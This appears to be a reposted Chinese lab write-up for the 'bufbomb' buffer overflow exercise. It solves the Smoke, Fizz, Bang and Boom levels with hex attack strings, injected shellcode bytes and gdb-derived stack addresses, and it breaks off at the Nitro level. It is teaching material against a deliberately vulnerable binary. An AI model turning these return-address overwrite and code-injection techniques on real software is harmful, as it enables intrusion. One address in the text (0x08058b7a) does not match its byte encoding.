
本实验的目的在于加深对IA-32函数调用规则跟栈结构的详细理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过产生缓冲区溢起来改变该能执行程序的运行存储映像,继而执行一些原本程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验必须你熟练运用gdb、objdump、gcc等软件完成。
实验中你必须对目标能执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke级最简单而Nitro级最困难。
实验语言:c;实验环境:linux。
本实验的数据包括于一个文件包buflab-handout.tar [1.06M] 中,可以从此处下载。下载该文件到本地目录中,然后利用“tar –xvf buflab-handout.tar”命令将其解压,至少包括以下四个文件:
另一个需要的文件是,用objdump工具反汇编bufbomb可执行目标程序,得到它的反汇编源程序,在上面的预测中,你已经从这个文件中查找这些信息。
(注:更多具体信息表明请见任务说明书.)
本实验需要你构造一些攻击字符串,对目标能执行程序BUFBOMB分别产生不同的缓冲区溢出攻击。实验分5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4)。
本次lab利用getbuf()方程不检测读取string长度的漏洞破坏该函数的return address从而超过对主程序造成破坏的目的。从getbuf() 的assembly code我们可以发现:

位于<0x80490a3> 地址处代码为预读的string在stack创建了0x28(也就是40)个Byte 的空间。具体位置可以借助gdb在下一行设置breakpoint 查找 %eax 的值得到,如下所示:

通过gdb调试得到,getbuf()申请的40字节缓冲区首地址为<0x55683438>,这个地址后面会用到。
通常在P过程调用Q过程时,程序的stack frame结构如下图图示:

为了覆盖被存在Return Address上的值(4 Bytes for m32 machine),我们必须调用超过系统默认40 Bytes大小的string。由于Saved ebp 占据了4 Bytes 所以当我们的input string 为48 Bytes时,最后4位Bytes 刚好覆盖我们的目标Return address.
**Notes: **由于我们在输入文件下读取的都是character(字符)因此我们必须借助hex2raw这个小程序帮助我们将我们写入的character转换成所对应的二进制数列。
Smoke任务的目标是构造一个攻击字符串作为bufbomb的键入,在getbuf()中产生缓冲区溢出,使得getbuf()返回时不是返回到test函数,而是放到smoke函数处执行。为此,你必须:

如以上例子中,smoke的开始地址是<0x08048b50>。

如以上例子,你可以发现getbuf()的栈帧是0x38+4个字节,而buf缓冲区的大小是0x28(40个字节)。

攻击字符串的用途是拿来覆盖getbuf函数内的字段buf(缓冲区)缓冲区溢出攻击,进而溢出并覆盖ebp和ebp上面的返回地址,所以攻击字符串的大小必须是0x28+4+4=48个字节。并且其最终4个字节应是smoke函数的地址,正好覆盖ebp上方的正常返回地址。这样再从getbuf返回时,取出的按照攻击字符串设置的地址,就可实现控制转移。
所以,这样的攻击字符串为:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
50 8b 04 08
总共48个字节,并且上面44个字节可以为任意值,对程序的执行没有任何妨碍,只要最终四个字节正确地设置为smoke的起始地址<0x08048b50>即可,对应内存读取50 8b 04 08(小端格式)。
可以将上述攻击字符串写在攻击字符串文件中,命名为smoke_U201315075.txt,之后通过hex2raw处理过滤掉所有的注释,还原成没有任何冗余数据的攻击字符串原始数据而代入bufbomb中使用。通过Linux终端执行:
cat smoke_U201315075.txt |./hex2raw |./bufbomb -u U201315075
显示结果如下:

至此,level0任务smoke通过!
level1 和 level0 大同小异,唯一的差别是本次要求跳入函数 fizz(int) 且该变量有一个参数(要求用所给cookie作argument)。
我们清楚在执行完ret指令后栈顶指针 %esp 会手动增加4以还原栈帧。
通过查找fizz()得知:

所以构造攻击文件fizz_U201315075.txt如下:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
7a 8b 04 08
00 00 00 00
26 05 8f 2d
其中,<0x08058b7a>为fizz函数起始地址,0x2d8f0526为自己的cookie,通过参数传递给fizz。
最后执行测试结果如下:

至此,level1任务fizz通过!
level2的难度开始下降,除了必须跳转到目标函数bang() 地址为<0x08048bc5>:


我们还必须执行一些自行设计的指令,因为该任务我们必须将global_value 的值改成我们的cookie,通过objdump -D bufbomb | less (注意D要大写我们能够发现header的代码, -d不会显示):

通过objdump -D 反汇编可以看到:
我们必须做的就是,在程序运行时将global_value的值设定为cookie的值。
构造自定义攻击指令bang.s:

由于是Assembly code 不需要考虑 little endian的问题。先将global_value 用mov指令变cookie (0x0804d100 前不加$ 表示地址),然后将bang()函数地址<0x08048bc5>写给esp,再执行ret指令时,程序手动跳入bang()函数。
指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o,再用objdump -d bang.o 读取machine code如下:

将指令代码抄入攻击文件,除此此外我们还必须找到input string存放的位置成为第一次ret 指令的目标位置,具体操作方法见Overview, 经过gdb调试分析getbuf()申请的40字节缓冲区首地址为<0x55683438>。
所以构造攻击字符串bang_U201315075.txt如下:
c7 05 00 d1
04 08 26 05
8f 2d 68 c5
8b 04 08 c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
38 34 68 55
最后执行测试结果如下:

至此,level2任务bang通过!
不同于之前跳入其他函数,在本任务中我们期望getbuf() 结束后重返test()原本的位置(即call getbuf后的下一行),并将你的cookie作为getbuf()的返回值传给test()。为了让攻击变得带有迷惑性我们还期望saved ebp被复原,这样一来原程序就完全不会因为内部伤害而错误崩溃,也就是退出攻击后应确保栈空间还原,使test()察觉不到我们干了哪个,就似乎我们什么都没做一样。
我们注意到getbuf() 在<0x08048cd1>被执行因此正确的跳转地址为 <0x08048cd6>:

另外,要还原栈帧,我们需要知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获得,可以在<0x08048cd1>(准备开启getbuf函数)设置断点,然后查看进入getbuf之前的%ebp寄存器值,这里我们得到的旧的ebp的值为<0x55683490>,如下:

知道了旧的ebp寄存器和恰当的返回地址,接下来就是通过自己构造攻击代码实施攻击。

下面有两种方法,在test()调用getbuf()函数后无法正常返回至test()中读取call getbuf的下一条指令<0x08048cd6>处,并且确保栈帧能够还原,也就是正确修复旧的%ebp,程序再次正常运行。
构造攻击指令bomb.s如下:

这里借助movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转至test()中call getbuf下一条指令正常返回,但是并不在这里处理ebp寄存器问题,而是借助在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。而在原则二中是借助在自定义攻击代码中还原旧的ebp寄存器,两种方式都可以。
对其进行编译,然后反汇编得到机器码:

构造攻击字符串bomb_U201315075.txt如下:
b8 26 05 8f
2d 68 d6 8c
04 08 c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
90 34 68 55
38 34 68 55
最后执行测试结果如下:

攻击指令bomb2.s如下:

这里借助movl指令将cookie值传给%eax以返回给test(),然后再次通过movl指令还原ebp寄存器,最后通过push正确返回地址使得程序跳转到test()中call getbuf下一条指令正常返回。区别于原则一的是此处通过自定义攻击代码还原ebp,而不是通过攻击字符串中的缓冲区溢出进行覆盖的,两种方式都可以。
对其进行编译,然后反汇编得到机器码:

构造攻击字符串bomb2_U201315075.txt如下:
b8 26 05 8f
2d bd 90 34
68 55 68 d6
8c 04 08 c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
38 34 68 55
最后执行测试结果如下:

至此,level3任务bomb通过!
本级要使用./bufbomb的-n参数,bufbomb不会再像以前哪样调用test(),而是调用testn(),testn()又调getbufn()。本级的任务是让getn返回cookie给testn()。听起来好像与上一级没什么不同,但实际上该级的栈地址是动态的,每次都不一样,bufbomb会连续要我们输入5次字符串,每次都调用getbufn(),每次的栈地址都不一样,所以我们将不能再使用原来用gdb调试的方式来求%ebp的地址了。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-144398-1.html
一定要看
fx